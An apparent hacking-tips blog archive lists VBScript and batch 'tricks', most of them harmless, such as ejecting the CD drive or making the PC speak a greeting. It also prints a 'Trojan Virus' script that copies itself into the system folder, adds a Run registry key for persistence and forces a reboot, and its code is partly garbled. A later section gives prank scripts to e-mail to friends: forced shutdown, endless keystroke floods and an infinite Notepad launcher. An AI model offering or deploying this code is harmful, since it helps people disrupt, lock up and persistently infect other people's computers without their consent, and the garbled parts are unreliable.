Category Archives: .VBS Tricks

THIS BLOG WILL BE DISCONTINUED SOON : MOVING TO NEW ONE

REQUESTING ALL MY USERS, TO VISIT MY NEW BLOG at eBLOGGER with the same name
I.E MANISH HACKS.

Screenshot (371)

Due to some problems, i can’t continue posting on this Blog.

Pls Subscribe to my new Blog too to stay updated of the new Posts there, and also my Youtube Channel named Manish Hacks and don’t forget to hit the bell icon to stay updated via notification about my new video tutorials…

Visit my new Blog Now, Manish Hacks

Thank You!!!!

latest collection of VBS TRICKS

How To Open Your CDRom Using Notepad

open notepad and paste this code:

Set owMP = CreateOBject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
for i= 0 to colCDROMs.Count – 1
colCDROMS.Item(i).Eject
Next ‘ cdrom
end if

save as whatever.vbs. click the icon and watch

How To Make A Pop-up (#1)

1

open notepad and paste this code:

x = MsgBox(“whatever you want to say”,5+48,”whatever you want to say”)

save as whatever.vbs. click the icon and enjoy

How To Make A ChatBox

2

open notepad and paste this code:

dim fname
fname=inputbox(“hi whats your name?”)

save as whatever.vbs. click the icon and enjoy.

How To Make A Pop-up (#2)

3

open notepad and paste this code:

onclick=msgbox (“whatever you want to say”,20,”whatever you want to say”)

save as whatever.vbs. click icon and ejoy.

How To Make Notepad Tell You How Old You Will Be In 39 Years

4

First open Notepad. Then type this in:

WScript.Echo “Hello!”

Set WshShell = WScript.CreateObject(“WScript.Shell”)
age = InputBox(“how old you are now.”)

newage = your age here + 39
WshShell.Popup “In 39 years, you will be ” & newage & “.”

then save as age.vbs then click the icon and watch.

How To Make Notepad Tell You In What Year You Will Be 50

5

First open Notepad. Then type this in:

WScript.Echo “Hello!”

Set WshShell = WScript.CreateObject(“WScript.Shell”)
birthdate = InputBox(“the year you were born.”)

newage = the year you were born + 50
WshShell.Popup “In ” & newage & ” you’ll be 50.”

then save as years.vbs then click the icon and watch

How To Get The Computer To Talk To You (Non-Text Version)

Open Notepad and type this in:

strText = inputbox(“What should Sam say?”,”Sam”)
Set objVoice = CreateObject (“SAPI.SpVoice”)
ObjVoice.speak strText

save it as whatever.vbs.

How To Get The Computer To Talk To You (Text Version)

Open Notepad and type this in:

strText = inputbox(“What should Sam say?”,”Sam”)
Set objVoice = CreateObject (“SAPI.SpVoice”)
ObjVoice.speak strText

save it as whatever.vbs.

How To Make Another Chatbox

6

7

Open Notepad and type this in:

dim fname
fname=inputbox(“what ever you want to say here”)
msgbox fname

save it as whatever.vbs

How To Make A Timer Using Notepad

Open Notepad and type this in;

For i = 1 to 10
wscript.echo i
Next

save it as whatever.vbs

How To Make Your CDRom Open As Many Times As You Want

Open Notepad and type this in:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
for i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
colCDROMs.Item(i).Eject
Next ‘ cdrom
End if

‘each “colCDROMs.Item(i).Eject” makes the cdrom open and another means shut so if you type it in 50 times it will open and shut 25 times.”

save it as whatever.vbs

DONE, ENJOY IT.

How to Make Trojan Virus Using Notepad

Note the following copy all the source into notepad save as .vbs (if you want to activate)

Trojan-horse

if not let it remain in the file exstensi.txt

exampels: ippamd0_trojanHorse.VBS

Copy all the source below:

brakes – dlRB “DL Reboot” Trojan script by D.L.

On Error Resume Next

FSobj dim, sysDir, generateCopy, newfile, fixedCode, procreateCopy, fileData

set FSobj = CreateObject (“Scripting.FileSystemObject”)

set sysDir = FSobj.GetSpecialFolder (1)

createRegKey “HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ dlRB”, sysDir & “\ dlRB.vbs”

sub createRegKey (regkey, regVal)

set regedit = CreateObject (“WScript.Shell”)

regEdit.RegWrite regkey, regVal

end sub

set generateCopy = FSobj.CreateTextFile (sysDir + “\ dlRB.vbs”)

generateCopy.close

set newfile = FSobj.OpenTextFile (WScript.ScriptFullname, 1)

setFile ()

fixedCode = replace (fileData, chr (94), “” “”)

set procreateCopy = FSobj.OpenTextFile (sysDir + “\ dlRB.vbs”, 2)

procreateCopy.write fixedCode

procreateCopy.close

rebootSystem ()

setFile function ()

fileData = “rem – ^ ^ by D.L. dlRB” & vbCrLf & _

“strComputer = ^. ^” & vbCrLf & _

“Set objWMIService = GetObject (winmgmts ^: ^ _” & vbCrLf & _

“& ^ {ImpersonationLevel = impersonate, (Shutdown)}! \ \ ^ & ^ & StrComputer \ root \ cimv2 ^)” & vbCrLf & _

“Set colOperatingSystems = objWMIService.ExecQuery _ ‘& vbCrLf & _

“(Select * from Win32_OperatingSystem ^ ^)” & vbCrLf & _

“For Each objOperatingSystem in colOperatingSystems” & vbCrLf & _

“ObjOperatingSystem.Reboot ()” & vbCrLf & _

“Next”

end function

rebootSystem function ()

strComputer = “.”

Set objWMIService = GetObject (“winmgmts:” _

& “{ImpersonationLevel = impersonate, (Shutdown)}! \ \” & StrComputer & “\ root \ cimv2”)

Set colOperatingSystems = objWMIService.ExecQuery _

(“Select * from Win32_OperatingSystem”)

For Each objOperatingSystem in colOperatingSystems

ObjOperatingSystem.Reboot ()

Next

end function

yes … do not forget saved?

ENJOY!!!!

Make your Computer Welcome You

Do you watch movies? Have you always loved the way how Computers in movies welcome their users by calling out their names? I bet that you too would want to know how you can achieve similar results on your PC and have a computer said welcome.

welcome you

Then you are at the right place, this article describes exactly how you can make your computer welcome you .

With this trick, you can make your Computer welcome you in its computerized voice. You can make your Windows based computer say “Welcome to your PC, Username.”

Make Windows Greet you with a Custom Voice Message at Startup

To use this trick, follow the instructions given below:-

  1. Click on Start. Navigate to All Programs, Accessories and Notepad.
  2. Copy and paste the exact code given below.

    Dim speaks, speech

    speaks=”Welcome to your PC, Username”

    Set speech=CreateObject(“sapi.spvoice”)

    speech.Speak speaks

  1. Replace Username with your own name.
  2. Click on File Menu, Save As, select All Types in Save as Type option, and save the file as Welcome.vbs or “*.vbs”.
  3. Copy the saved file.
  4. Navigate to C:\Documents and Settings\All Users\Start Menu\Programs\Startup (in Windows XP) and to C:\Users\ {User-Name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup (in Windows 8, Windows 7 and Windows Vista) if C: is your System drive. AppData is a hidden folder. So, you will need to select showing hidden folders in Folder options to locate it.
  5. Paste the file.

Now when the next time you start your computer, Windows will welcome you in its own computerized voice.

Note: For best results, it is recommended to change sound scheme to No Sounds.

You can change the sound scheme to No Sounds by following the steps given below:-

  1. Go to Control Panel.

2 . Then click on Switch to Classic View.

  1. Then Click on Sounds and Audio Devices.
  2. Then Click on the Sounds Tab.
  3. Select No Sounds from the Sound Scheme option.
  4. If you wish to save your Previous Sound Scheme, you can save it by clicking Yes in the popup menu.
  5. Click on OK.

Try it yourself to see how it works. In my personal opinion, this is an excellent trick. Whenever I start my PC in front of anybody and the PC welcomes me, the fellow is left wondering how brilliant a computer do I have.

Enjoy!!!!!

Creating Funny Viruses With Your Notepad

These are cool notepad pranks witten in Microsoft Visual Basic (.vbs), not some scary deadly virus,
1

I stumbled across this stuff somewhere on d net and i thought i’d be a great idea to share wit u guys, create any of these files and try them out on your pc and see what i’m saying, or send it to your friends via e-mail. Doing this is fun, hehehe, Re-starting your computer cancels the effect unless you add the start-up code which I wont post here.

  1. Convey your friend a lil’ message and shut down his / her computer:

Type :

@echo off

msg * I don’t like you

shutdown -c “Error! You are too silly!” -s

Save it as “Anything.BAT” in All Files and send it.

  1. Toggle your friend’s Caps Lock button simultaneously:

Type :

Set wshShell =wscript.CreateObject(“WScript.Shell”

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

Save it as “Anything.VBS” and send it.

  1. Continually pop out your friend’s CD Drive. If he / she has more than one, it pops out all of them!

Type :

Set oWMP = CreateObject(“WMPlayer.OCX.7”

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Save it as “Anything.VBS” and send it.

  1. Frustrate your friend by making this VBScript hit Enter simultaneously:

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save it as “Anything.VBS” and send it.

  1. Open Notepad, slowly type “Hello, how are you? I am good thanks” and freak your friend out:

Type :

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(“WScript.Shell”

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo ”

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re ”

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? ”

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! ”

Save it as “Anything.VBS”

  1. Frustrate your friend by making this VBScript hit Backspace simultaneously:

Type :

MsgBox “Let’s go back a few steps”

Set wshShell =wscript.CreateObject(“WScript.Shell”

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Save it as “Anything.VBS”

  1. Hack your friend’s keyboard and make him type “You are a fool” simultaneously:

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”

do

wscript.sleep 100

wshshell.sendkeys “You are a fool.”

loop

Save it as “Anything.VBS” and send it.

  1. Open Notepad continually in your friend’s computer:

Type :

@ECHO off

:top

START %SystemRoot%\system32\notepad.exe

GOTO top

Save it as “Anything.BAT” and send it.

Have funn,,, ENJOY….